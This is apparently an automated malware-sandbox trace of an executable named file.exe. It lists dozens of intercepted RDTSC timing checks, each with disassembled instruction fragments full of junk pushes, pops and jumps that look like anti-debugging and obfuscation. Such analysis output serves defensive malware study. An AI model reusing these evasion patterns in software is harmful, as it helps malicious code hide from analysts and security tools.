Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60E36 second address: 4A60E71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, ch 0x00000005 pushfd 0x00000006 jmp 00007FA57532F8E5h 0x0000000b or ch, FFFFFF86h 0x0000000e jmp 00007FA57532F8E1h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60E71 second address: 4A60E75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60E75 second address: 4A60E7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60E7B second address: 4A60E81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60E81 second address: 4A60E85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70139 second address: 4A70150 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA57532F863h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70150 second address: 4A70166 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA57532F8DBh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70166 second address: 4A7016C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7016C second address: 4A70170 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70170 second address: 4A7019D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov edi, 09C2F4E0h 0x0000000f mov bh, 7Fh 0x00000011 popad 0x00000012 mov ebp, esp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FA57532F867h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A7019D second address: 4A701A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A701A3 second address: 4A701A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A701A7 second address: 4A701AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A701AB second address: 4A701C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA57532F85Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A907E0 second address: 4A90820 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 pushfd 0x00000006 jmp 00007FA57532F8E9h 0x0000000b adc ax, 4966h 0x00000010 jmp 00007FA57532F8E1h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90820 second address: 4A90824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90824 second address: 4A90828 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90828 second address: 4A9082E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9082E second address: 4A90834 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90834 second address: 4A90838 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90838 second address: 4A9083C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9083C second address: 4A9085D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA57532F866h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9085D second address: 4A90863 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90863 second address: 4A908B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F85Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c jmp 00007FA57532F85Eh 0x00000011 mov eax, dword ptr [76FB65FCh] 0x00000016 jmp 00007FA57532F860h 0x0000001b test eax, eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 jmp 00007FA57532F85Dh 0x00000025 mov bx, cx 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A908B0 second address: 4A908B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A908B6 second address: 4A908BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A908BA second address: 4A908DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FA5E77D296Dh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov dx, ax 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A908DC second address: 4A908FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 movsx ebx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA57532F863h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A908FE second address: 4A9092A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA57532F8DAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9092A second address: 4A9093F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F85Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 1Fh 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9093F second address: 4A90962 instructions: 0x00000000 rdtsc 0x00000002 mov cx, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edi 0x00000008 mov si, 709Fh 0x0000000c pop esi 0x0000000d popad 0x0000000e ror eax, cl 0x00000010 jmp 00007FA57532F8DBh 0x00000015 leave 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 movsx edx, cx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90962 second address: 4A90999 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F868h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d mov esi, eax 0x0000000f lea eax, dword ptr [ebp-08h] 0x00000012 xor esi, dword ptr [00452014h] 0x00000018 push eax 0x00000019 push eax 0x0000001a push eax 0x0000001b lea eax, dword ptr [ebp-10h] 0x0000001e push eax 0x0000001f call 00007FA5799B0117h 0x00000024 push FFFFFFFEh 0x00000026 jmp 00007FA57532F860h 0x0000002b pop eax 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f mov ebx, ecx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90999 second address: 4A909A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A909A3 second address: 4A90A06 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FA57532F860h 0x00000008 jmp 00007FA57532F865h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 ret 0x00000012 nop 0x00000013 push eax 0x00000014 call 00007FA5799B015Fh 0x00000019 mov edi, edi 0x0000001b jmp 00007FA57532F85Eh 0x00000020 xchg eax, ebp 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007FA57532F85Eh 0x00000028 add cx, 1D88h 0x0000002d jmp 00007FA57532F85Bh 0x00000032 popfd 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90A06 second address: 4A90A35 instructions: 0x00000000 rdtsc 0x00000002 movzx eax, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 jmp 00007FA57532F8DEh 0x0000000e xchg eax, ebp 0x0000000f jmp 00007FA57532F8E0h 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 mov edi, esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40043 second address: 4A40067 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007FA57532F864h 0x00000010 mov ax, 0A91h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40067 second address: 4A40095 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007FA57532F8DBh 0x00000012 pop esi 0x00000013 mov bh, C0h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40095 second address: 4A400B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F85Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov cl, B2h 0x0000000e mov dh, CDh 0x00000010 popad 0x00000011 and esp, FFFFFFF8h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A400B5 second address: 4A400CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A400CA second address: 4A40110 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F861h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b movzx esi, bx 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov ecx, 3187024Dh 0x00000018 pushfd 0x00000019 jmp 00007FA57532F85Ah 0x0000001e jmp 00007FA57532F865h 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40110 second address: 4A40115 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40115 second address: 4A4015D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FA57532F865h 0x00000011 jmp 00007FA57532F85Bh 0x00000016 popfd 0x00000017 mov edx, ecx 0x00000019 popad 0x0000001a xchg eax, ebx 0x0000001b jmp 00007FA57532F862h 0x00000020 push eax 0x00000021 pushad 0x00000022 push ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4015D second address: 4A401B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov ecx, edx 0x00000007 popad 0x00000008 xchg eax, ebx 0x00000009 pushad 0x0000000a mov bh, 22h 0x0000000c pushfd 0x0000000d jmp 00007FA57532F8DCh 0x00000012 add ch, FFFFFFB8h 0x00000015 jmp 00007FA57532F8DBh 0x0000001a popfd 0x0000001b popad 0x0000001c mov ebx, dword ptr [ebp+10h] 0x0000001f jmp 00007FA57532F8E6h 0x00000024 xchg eax, esi 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FA57532F8E7h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A402FE second address: 4A4031B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F869h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4031B second address: 4A40346 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FA57532F8DDh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40346 second address: 4A40380 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA57532F867h 0x00000009 or ah, FFFFFFAEh 0x0000000c jmp 00007FA57532F869h 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40380 second address: 4A403DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 je 00007FA5E781DB7Ah 0x0000000d pushad 0x0000000e push eax 0x0000000f movsx edx, ax 0x00000012 pop eax 0x00000013 call 00007FA57532F8DBh 0x00000018 pushfd 0x00000019 jmp 00007FA57532F8E8h 0x0000001e add cl, FFFFFF88h 0x00000021 jmp 00007FA57532F8DBh 0x00000026 popfd 0x00000027 pop esi 0x00000028 popad 0x00000029 mov edx, dword ptr [esi+44h] 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FA57532F8E2h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A403DF second address: 4A403E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A403E5 second address: 4A403E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A403E9 second address: 4A40419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 or edx, dword ptr [ebp+0Ch] 0x0000000b jmp 00007FA57532F869h 0x00000010 test edx, 61000000h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40419 second address: 4A4042C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4042C second address: 4A40444 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA57532F864h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40444 second address: 4A40493 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007FA5E781DB09h 0x00000011 pushad 0x00000012 mov cx, 05ABh 0x00000016 call 00007FA57532F8E0h 0x0000001b mov ch, 5Bh 0x0000001d pop edi 0x0000001e popad 0x0000001f test byte ptr [esi+48h], 00000001h 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FA57532F8E9h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40493 second address: 4A404BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F861h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FA5E781DA4Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FA57532F85Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A404BD second address: 4A404C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3083D second address: 4A30841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30841 second address: 4A30845 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30845 second address: 4A3084B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3084B second address: 4A3093C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c jmp 00007FA57532F8E0h 0x00000011 mov ebp, esp 0x00000013 jmp 00007FA57532F8E0h 0x00000018 and esp, FFFFFFF8h 0x0000001b jmp 00007FA57532F8E0h 0x00000020 xchg eax, ebx 0x00000021 jmp 00007FA57532F8E0h 0x00000026 push eax 0x00000027 jmp 00007FA57532F8DBh 0x0000002c xchg eax, ebx 0x0000002d pushad 0x0000002e pushfd 0x0000002f jmp 00007FA57532F8E4h 0x00000034 add eax, 79965FD8h 0x0000003a jmp 00007FA57532F8DBh 0x0000003f popfd 0x00000040 pushfd 0x00000041 jmp 00007FA57532F8E8h 0x00000046 and si, AA38h 0x0000004b jmp 00007FA57532F8DBh 0x00000050 popfd 0x00000051 popad 0x00000052 xchg eax, esi 0x00000053 pushad 0x00000054 pushfd 0x00000055 jmp 00007FA57532F8E0h 0x0000005a or cx, A498h 0x0000005f jmp 00007FA57532F8DBh 0x00000064 popfd 0x00000065 popad 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 pushad 0x0000006a mov cx, 9C61h 0x0000006e push esi 0x0000006f pop edi 0x00000070 popad 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3093C second address: 4A30971 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA57532F869h 0x00000009 jmp 00007FA57532F85Bh 0x0000000e popfd 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 xchg eax, esi 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov cl, 39h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30971 second address: 4A30982 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30982 second address: 4A30986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30986 second address: 4A3098A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3098A second address: 4A30990 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30990 second address: 4A30996 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30996 second address: 4A3099A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3099A second address: 4A309B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub ebx, ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov dx, ax 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A309B3 second address: 4A309B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A309B9 second address: 4A30A3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d jmp 00007FA57532F8E0h 0x00000012 je 00007FA5E7825287h 0x00000018 pushad 0x00000019 mov eax, 7F59EB8Dh 0x0000001e pushfd 0x0000001f jmp 00007FA57532F8DAh 0x00000024 sbb esi, 15E14FA8h 0x0000002a jmp 00007FA57532F8DBh 0x0000002f popfd 0x00000030 popad 0x00000031 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000038 jmp 00007FA57532F8E6h 0x0000003d mov ecx, esi 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007FA57532F8E7h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30A3F second address: 4A30A6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 push edi 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007FA5E78251B0h 0x00000010 jmp 00007FA57532F85Dh 0x00000015 test byte ptr [76FB6968h], 00000002h 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov dx, cx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30A6A second address: 4A30AD1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FA5E7825213h 0x0000000f pushad 0x00000010 mov al, F5h 0x00000012 pushfd 0x00000013 jmp 00007FA57532F8E1h 0x00000018 add esi, 152497E6h 0x0000001e jmp 00007FA57532F8E1h 0x00000023 popfd 0x00000024 popad 0x00000025 mov edx, dword ptr [ebp+0Ch] 0x00000028 pushad 0x00000029 push eax 0x0000002a mov edx, 596A126Eh 0x0000002f pop edx 0x00000030 mov al, EBh 0x00000032 popad 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FA57532F8E3h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30AD1 second address: 4A30AE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA57532F864h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30AE9 second address: 4A30B22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebx 0x0000000e jmp 00007FA57532F8E6h 0x00000013 xchg eax, ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FA57532F8DAh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30B22 second address: 4A30B28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30B28 second address: 4A30B2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
